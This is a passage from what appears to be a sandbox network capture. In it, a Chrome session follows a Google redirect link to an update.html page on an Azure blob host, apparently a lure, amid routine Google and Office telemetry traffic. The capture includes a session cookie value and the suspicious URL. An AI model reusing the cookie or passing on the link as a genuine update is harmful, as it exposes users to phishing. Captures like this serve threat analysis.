22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-14 19:43:24 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49839	142.250.184.196	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:24 UTC	1176	OUT	GET /url?q=https://opendirectline.blob.core.windows.net/main/update.html?47i5h2&sa=D&source=apps-viewer-frontend&ust=1731699781569616&usg=AOvVaw3gVtIqiB4yYtz7DPR-O5aq&hl=en HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:24 UTC	407	IN	HTTP/1.1 200 OK Location: https://opendirectline.blob.core.windows.net/main/update.html?47i5h2 Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Permissions-Policy: unload=() Date: Thu, 14 Nov 2024 19:43:24 GMT Server: gws Content-Length: 460 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:24 UTC	460	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 54 49 54 4c 45 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 69 72 65 63 74 6c 69 6e 65 2e 62 6c 6f 62 2e 63 6f 72 65 2e 77 69 6e 64 6f 77 73 2e 6e 65 74 2f 6d 61 69 6e 2f 75 70 64 61 74 65 2e 68 74 6d 6c 3f 34 37 69 35 68 32 22 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 6f 6e 4c 6f 61 64 3d 22 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>Redirecting</TITLE><META HTTP-EQUIV="refresh" content="1; url=https://opendirectline.blob.core.windows.net/main/update.html?47i5h2"></HEAD><BODY onLoad="location.rep

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49840	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:24 UTC	982	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1013 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:24 UTC	1013	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 31 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 32 35 30 2c 5b 5b 22 31 37 33 31 36 31 33 33 39 33 34 33 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,1,0,0,0]]],1250,[["1731613393438",null,null,null
2024-11-14 19:43:24 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:24 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:24 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49841	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:25 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 620 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:25 UTC	620	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 31 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 37 34 2c 5b 5b 22 31 37 33 31 36 31 33 33 39 33 34 34 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,1,0,0,0]]],574,[["1731613393440",null,null,null,
2024-11-14 19:43:25 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:25 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:25 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:25 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:25 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 370abd07-301e-005d-0f40-36e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194325Z-1749fc9bdbdjznvchC1DFWx4dc00000002x000000000803r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:25 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:25 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:25 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: d96f0357-501e-00a0-7911-369d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194325Z-1749fc9bdbd6szhxhC1DFW199s0000000330000000006mg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:25 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:25 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:25 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 18edf7b2-e01e-0003-11a0-340fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194325Z-r178fb8d765hbcjvhC1DFW50zc00000002w000000000zzqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:25 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:25 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:25 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 053649b2-001e-00ad-26a0-34554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194325Z-r178fb8d765dbpv9hC1DFWma7000000001bg000000008hmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:25 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:25 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194325Z-1749fc9bdbdlzhmchC1DFWe68s00000002u000000000hshp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49849	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:25 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:25 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:25 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
